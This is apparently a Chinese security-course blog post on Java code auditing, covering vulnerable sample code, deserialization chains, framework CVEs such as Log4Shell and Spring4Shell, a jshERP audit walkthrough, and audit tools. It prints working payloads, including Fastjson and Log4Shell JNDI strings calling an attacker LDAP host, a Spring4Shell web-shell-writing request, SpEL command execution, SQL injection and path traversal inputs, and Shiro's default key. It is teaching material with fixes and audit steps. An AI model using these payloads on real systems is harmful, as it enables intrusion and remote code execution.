Java代码审计实战
马哥教育网络安全课程实战博客 · 第17篇
对应课程章节:第31-34章(代码审计、Java代码审计基础和Java Web常见漏洞、华夏ERP实操、Java代码审计进阶)
一、Java代码审计基础
1.1 Java Web架构演进
Java Web开发架构经历了从简单到复杂的演进过程,理解架构是审计的前提。
Servlet/JSP时代:
// 传统Servlet处理请求
@WebServlet("/user")
public class UserServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
// 直接获取参数 - 审计入口点
String id = req.getParameter("id");
// 漏洞代码: SQL注入
Connection conn = DriverManager.getConnection("jdbc:mysql://localhost/test", "root", "pass");
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("SELECT * FROM users WHERE id = " + id);
// 漏洞代码: XSS
PrintWriter out = resp.getWriter();
out.println("<html><body>" + id + "</body></html>");
}
}
Spring MVC时代:
// Spring MVC控制器
@Controller
@RequestMapping("/api")
public class ApiController {
@Autowired
private UserService userService;
// 漏洞: SQL注入(MyBatis ${}拼接)
@GetMapping("/user/{name}")
@ResponseBody
public User getUserByName(@PathVariable String name) {
return userService.findByName(name); // 若XML中使用${name}则注入
}
// 漏洞: SSRF
@GetMapping("/fetch")
@ResponseBody
public String fetchUrl(@RequestParam String url) {
URL u = new URL(url);
BufferedReader reader = new BufferedReader(
new InputStreamReader(u.openStream()));
// 攻击者可指定内网地址进行SSRF
return IOUtils.toString(reader);
}
}
1.2 常见Java漏洞类型
| 漏洞类型 | 危险API/特性 | 审计关键词 |
|---|---|---|
| SQL注入 | Statement、MyBatis ${} | executeQuery, ${ |
| XSS | response.getWriter() | println, write |
| SSRF | URL.openConnection() | openStream, HttpClient |
| 反序列化 | ObjectInputStream | readObject, XMLDecoder |
| 命令执行 | Runtime.exec() | Runtime, ProcessBuilder |
| SpEL注入 | ExpressionParser | parseExpression, getValue |
| XXE | DocumentBuilder | DocumentBuilderFactory, SAXParser |
| 文件上传 | MultipartFile | transferTo, getOriginalFilename |
1.3 Java反射与类加载
反射和动态类加载是Java反序列化漏洞的基础:
// 反射调用 - 审计重点
public class ReflectionDemo {
public void invokeMethod(String className, String methodName, Object arg)
throws Exception {
// 漏洞: 用户可控的类名和方法名
Class<?> clazz = Class.forName(className);
Method method = clazz.getMethod(methodName, String.class);
method.invoke(null, arg);
// 攻击者可调用任意类的任意方法
}
}
// 动态类加载
public class ClassLoaderDemo {
public void loadClass(byte[] classBytes) {
// 漏洞: 加载恶意字节码
ClassLoader loader = new ClassLoader() {
@Override
protected Class<?> findClass(String name) {
return defineClass(name, classBytes, 0, classBytes.length);
}
};
Class<?> clazz = loader.loadClass("Evil");
}
}
// ProcessBuilder命令执行
public class CmdDemo {
public void exec(String cmd) throws Exception {
// 漏洞: 用户可控命令
ProcessBuilder pb = new ProcessBuilder("sh", "-c", cmd);
Process p = pb.start();
// 等价于 Runtime.getRuntime().exec("sh -c " + cmd);
}
}
二、Java反序列化漏洞
Java反序列化漏洞是Java安全审计中最重要的漏洞类型之一,危害极大。
2.1 反序列化漏洞原理
// 漏洞代码示例
import java.io.*;
public class DeserializeDemo {
public void processRequest(HttpServletRequest req) throws Exception {
// 从用户请求中获取序列化数据
String data = req.getParameter("data");
byte[] bytes = Base64.getDecoder().decode(data);
// 漏洞: 直接反序列化用户可控数据
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
Object obj = ois.readObject(); // 触发利用链
ois.close();
}
}
// 可被利用的类
class EvilClass implements Serializable {
private String cmd;
// readObject方法在反序列化时自动调用
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
// 触发命令执行
Runtime.getRuntime().exec(this.cmd);
}
}
2.2 Apache Commons Collections利用链
Apache Commons Collections是Java反序列化漏洞的经典利用链:
// Commons Collections利用链分析(教育目的)
//InvokerTransformer链:
// 1. 通过ConstantTransformer获取Runtime类
// 2. 通过InvokerTransformer调用exec方法
// 3. 使用ChainedTransformer串联多个Transformer
// 4. 使用TransformedMap/LazyMap触发Transformer链
// 检测代码中是否存在反序列化点
// 审计命令:
// grep -rn "readObject\|ObjectInputStream\|XMLDecoder" src/
// grep -rn "import org.apache.commons.collections" src/
// 常见利用链:
// CC1: LazyMap + InvokerTransformer
// CC2: PriorityQueue + TransformingComparator
// CC3: TrAXFilter + InstantiateTransformer (加载恶意类)
// CC5: BadAttributeValueExpException + TiedMapEntry
// CC6: HashSet + TiedMapEntry (兼容CC3.1+CC4.0)
// CC7: Hashtable + LazyMap (解决HashSet冲突)
2.3 Fastjson反序列化漏洞
Fastjson是Java中广泛使用的JSON库,存在多个严重反序列化漏洞:
// Fastjson漏洞代码
import com.alibaba.fastjson.JSON;
public class FastjsonDemo {
// Fastjson 1.2.24 - autoType绕过
public void parse(String input) {
// 漏洞: autoType开启时,可指定任意类
Object obj = JSON.parse(input);
// Payload示例:
// {"@type":"com.sun.rowset.JdbcRowSetImpl",
// "dataSourceName":"ldap://攻击者IP/Exploit",
// "autoCommit":true}
// 通过JNDI注入加载远程恶意类
}
// Fastjson 1.2.47 - autoType默认开启绕过
// 即使autoType关闭,也可通过缓存绕过
// Payload:
// {"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},
// "b":{"@type":"com.sun.rowset.JdbcRowSetImpl",
// "dataSourceName":"ldap://攻击者IP/Exploit",
// "autoCommit":true}}
}
// 审计要点:
// 1. 检查fastjson版本,1.2.83以下可能存在漏洞
// 2. 搜索JSON.parse/JSON.parseObject调用
// 3. 检查autoType配置
// 4. 检查是否使用了@type特性
2.4 Log4j漏洞(Log4Shell)
Log4Shell(CVE-2021-44228)是2021年最严重的Java漏洞:
// Log4j漏洞代码
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4jDemo {
private static final Logger logger = LogManager.getLogger();
public void handleRequest(HttpServletRequest req) {
String userAgent = req.getHeader("User-Agent");
// 漏洞: Log4j 2.x < 2.15.0 会解析JNDI
logger.info("User-Agent: {}", userAgent);
// 攻击Payload:
// User-Agent: ${jndi:ldap://攻击者IP/Exploit}
// 或: ${jndi:rmi://攻击者IP/Exploit}
// Log4j会解析${jndi:...}并加载远程类
// 导致远程代码执行
}
}
// 漏洞利用流程:
// 1. 攻击者发送包含${jndi:ldap://attacker/a}的HTTP请求
// 2. Log4j解析日志消息中的JNDI表达式
// 3. 向攻击者控制的LDAP服务器发起请求
// 4. LDAP返回恶意Java类的引用
// 5. 受害服务器加载并执行恶意类
// 修复方案:
// 1. 升级Log4j到2.17.1+
// 2. 设置log4j2.formatMsgNoLookups=true
// 3. 移除JndiLookup类: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
2.5 Shiro反序列化漏洞
Apache Shiro是一个Java安全框架,存在经典的反序列化漏洞:
// Shiro 1.2.4 反序列化漏洞 (CVE-2016-4435)
// 漏洞原理:
// 1. Shiro使用AES加密Cookie中的序列化数据(rememberMe)
// 2. 默认AES密钥硬编码为 kPH+bIxk5D2deZiIxcaaaA==
// 3. 攻击者知道密钥后可构造恶意序列化数据
// 攻击流程:
// 1. 使用已知AES密钥加密 Commons Collections Payload
// 2. 将加密后的数据放入 rememberMe Cookie
// 3. 发送请求触发反序列化
// Shiro漏洞利用工具使用:
// shiro_attack工具流程:
// a. 检测Shiro框架 (响应Set-Cookie: rememberMe=deleteMe)
// b. 尝试默认密钥或爆破密钥
// c. 生成反序列化Payload
// d. AES加密Payload
// e. Base64编码后放入Cookie
// f. 发送请求执行命令
// 审计要点:
// grep -rn "rememberMe\|CookieRememberMeManager" src/
// 检查Shiro版本是否 < 1.2.5
// 检查是否使用了默认密钥
三、Spring框架漏洞
3.1 Spring4Shell(CVE-2022-22965)
Spring4Shell是Spring框架的远程代码执行漏洞:
// Spring4Shell影响条件:
// 1. JDK 9+
// 2. Spring Framework 5.3.0-5.3.17 / 5.2.0-5.2.19
// 3. 运行在Servlet容器(如Tomcat)
// 4. 使用Spring MVC参数绑定
// 漏洞原理:
// Spring MVC参数绑定机制允许修改class.classLoader相关属性
// 通过修改Tomcat的AccessLogValve属性实现写文件
// 漏洞Controller示例
@Controller
public class UserController {
@GetMapping("/register")
public String register(User user, Model model) {
// 参数绑定会自动设置user对象的属性
// 攻击者通过class.classLoader.xxx修改底层类加载器属性
model.addAttribute("user", user);
return "register";
}
}
// 攻击Payload:
// POST /register
// class.module.classLoader.resources.context.parent.pipeline.first.pattern=
// %{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in =
// %{c2}i Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
// ...
// class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
// class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
// class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
// class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
// 修复方案:
// 1. 升级Spring Framework到5.3.18+或5.2.20+
// 2. 升级Spring Boot到2.6.6+或2.5.12+
// 3. 临时方案: 禁止class.classLoader参数绑定
3.2 Spring Boot Actuator漏洞
// Spring Boot Actuator默认暴露敏感端点
// application.properties配置
// management.endpoints.web.exposure.include=*
// 危险端点:
// /actuator/env - 泄露环境变量(可能包含密码)
// /actuator/heapdump - 导出堆内存(可提取密码)
// /actuator/jolokia - 可执行MBean操作
// /actuator/refresh - 刷新配置(可能触发RCE)
// Actuator + Jolokia RCE
// 1. 通过/actuator/jolokia/list查看MBean
// 2. 找到可利用的MBean (如Logback JNDI)
// 3. 通过Jolokia触发JNDI注入
// 4. 加载远程恶意类执行命令
// 审计要点:
// 检查application.properties/yml中Actuator配置
// 确认是否暴露了敏感端点
// 检查是否引入了jolokia依赖
3.3 SpEL注入
Spring Expression Language注入:
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
public class SpelDemo {
// 漏洞: 用户可控的SpEL表达式
public void evaluateExpression(String userInput) {
ExpressionParser parser = new SpelExpressionParser();
// 漏洞代码 - 直接解析用户输入
Expression exp = parser.parseExpression(userInput);
Object result = exp.getValue();
// 攻击Payload: T(java.lang.Runtime).getRuntime().exec('id')
}
// 安全代码 - 使用SimpleEvaluationContext限制功能
public void safeEvaluate(String userInput) {
ExpressionParser parser = new SpelExpressionParser();
// 限制为数据绑定模式,禁止类型引用和方法调用
EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
Expression exp = parser.parseExpression(userInput);
Object result = exp.getValue(context);
}
}
// 审计要点:
// grep -rn "parseExpression\|SpelExpressionParser\|getValue" src/
// 检查表达式来源是否用户可控
// 检查是否使用了安全的EvaluationContext
四、华夏ERP审计实战
4.1 环境搭建
华夏ERP(jshERP)是一个开源的Java ERP系统,适合代码审计练习。
# 攻击机: 113.47.1.165
# 目标机: 部署华夏ERP
# 1. 获取源码
git clone https://github.com/jishenghua/jshERP.git
cd jshERP
# 2. 数据库配置
mysql -u root -p
CREATE DATABASE jsh_erp;
# 导入初始数据
mysql -u root -p jsh_erp < sql/jsh_erp.sql
# 3. 修改配置
# src/main/resources/application.properties
# 修改数据库连接信息
# 4. 编译运行
mvn clean package -DskipTests
java -jar target/jshERP.jar
# 5. 审计环境准备
# 使用IDEA导入源码
# 安装FindBugs/SpotBugs插件
# 配置代码追踪
4.2 源码分析
// 华夏ERP架构分析
// 技术栈: Spring Boot + MyBatis + MySQL + Vue
// 1. 入口点分析 - Controller层
// src/main/java/com/jsh/erp/controller/
@RestController
@RequestMapping("/user")
public class UserController {
@Autowired
private UserService userService;
// 审计点: 登录接口
@PostMapping("/login")
public ApiResponse login(@RequestBody UserLoginDTO dto) {
// 检查是否有SQL注入
return userService.login(dto);
}
// 审计点: 用户列表查询
@GetMapping("/list")
public ApiResponse getUserList(
@RequestParam(defaultValue = "1") int currentPage,
@RequestParam(defaultValue = "10") int pageSize,
@RequestParam String search) {
// 检查search参数是否安全
return userService.getUserList(currentPage, pageSize, search);
}
}
// 2. 数据访问层审计 - MyBatis Mapper
// 检查XML映射文件中的${}拼接
// src/main/resources/mapper/
// 3. 工具类审计
// 检查是否有不安全的反序列化、文件操作等
4.3 漏洞发现与利用
// 审计发现示例 - SQL注入
// MyBatis XML中使用${}导致注入
// Mapper XML (漏洞代码)
// <select id="selectByCondition" resultType="User">
// SELECT * FROM user WHERE 1=1
// <if test="search != null">
// AND name LIKE '%${search}%' <!-- ${}直接拼接,存在注入 -->
// </if>
// </select>
// 利用过程:
// 1. 访问 /user/list?search=test' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -
// 2. 通过UNION注入获取数据
// 3. 进一步获取管理员密码
// 审计发现示例 - 越权访问
// Controller中缺少权限校验
@GetMapping("/getUserById")
public User getUserById(@RequestParam Long id) {
// 未检查当前用户是否有权限查看该id的用户信息
return userService.getUserById(id);
// 攻击者可遍历id获取所有用户信息
}
// 审计发现示例 - 任意文件读取
// 文件下载接口未限制路径
@GetMapping("/download")
public void download(@RequestParam String fileName, HttpServletResponse response) {
// 漏洞: 未限制文件路径
File file = new File("/opt/erp/files/" + fileName);
// 攻击者: /download?fileName=../../../etc/passwd
FileInputStream fis = new FileInputStream(file);
IOUtils.copy(fis, response.getOutputStream());
}
4.4 审计报告编写
华夏ERP代码审计报告
一、审计概述
- 审计目标: jshERP v2.0
- 审计时间: 2024-xx-xx
- 审计范围: 全部源代码
二、漏洞清单
1. [高危] SQL注入 - 用户查询接口
- 位置: UserController.getUserList()
- 原因: MyBatis ${}拼接search参数
- 影响: 数据库数据泄露
- 修复: 使用#{}参数化查询
2. [中危] 越权访问 - 用户信息查询
- 位置: UserController.getUserById()
- 原因: 缺少权限校验
- 修复: 添加@PreAuthorize注解
3. [高危] 任意文件读取 - 文件下载接口
- 位置: FileController.download()
- 原因: 未对fileName进行路径校验
- 修复: 限制文件路径在指定目录内
三、修复建议
- 所有MyBatis参数使用#{}替代${}
- 添加统一的权限拦截器
- 文件操作进行路径规范化校验
五、Java审计工具
5.1 Fortify
Fortify是商业级静态代码分析工具:
# Fortify使用流程
# 1. 翻译阶段 - 将源码转换为中间表示
sourceanalyzer -b build_id -jdk 1.8 -src ./src -cp ./libs
# 2. 扫描阶段 - 分析中间表示
sourceanalyzer -b build_id -scan -f result.fpr
# 3. 查看报告
# 使用Fortify Audit Workbench打开result.fpr
# 或生成PDF报告
reportgenerator -format PDF -f report.pdf -source result.fpr
5.2 CodeQL
CodeQL是GitHub开发的代码分析引擎:
# CodeQL使用流程
# 1. 创建数据库
codeql database create java-db --language=java --command="mvn clean compile"
# 2. 运行查询
# 使用预置的Java安全查询套件
codeql database analyze java-db \
codeql/java/ql/src/Security \
--format=csv --output=results.csv
# 3. 自定义查询示例
# FindSQLInjection.ql
# /**
# * @name SQL injection
# * @kind path-problem
# */
# import java
# import semmle.code.java.dataflow.TaintTracking
# // ... 查询逻辑
5.3 FindBugs / SpotBugs
# SpotBugs安装和使用
# Maven插件配置
# <plugin>
# <groupId>com.github.spotbugs</groupId>
# <artifactId>spotbugs-maven-plugin</artifactId>
# <version>4.7.3</version>
# </plugin>
# 运行SpotBugs
mvn spotbugs:check
# 或使用命令行
spotbugs -textui -include security.xml target/classes/
# security.xml包含安全相关规则集
六、总结
Java代码审计相比PHP更为复杂,但核心思路一致:
- 理解架构:Java Web架构复杂,需理解Spring、MyBatis等框架机制
- 关注反序列化:Java反序列化是最具特色的漏洞类型,掌握CC链、Fastjson、Shiro等利用链
- 重视框架漏洞:Spring、Log4j等框架漏洞影响面广,需持续关注CVE
- 善用工具:Fortify、CodeQL等工具对Java支持较好,能提高审计效率
- 实战练习:通过华夏ERP等开源项目练习完整审计流程
- 编写报告:规范的审计报告是专业能力的体现
Java代码审计在甲方安全建设中尤为重要,因为企业级应用大量使用Java技术栈。掌握Java审计能力是安全工程师的核心竞争力之一。
上一篇:PHP代码审计实战 下一篇:安全开发与DevSecOps实战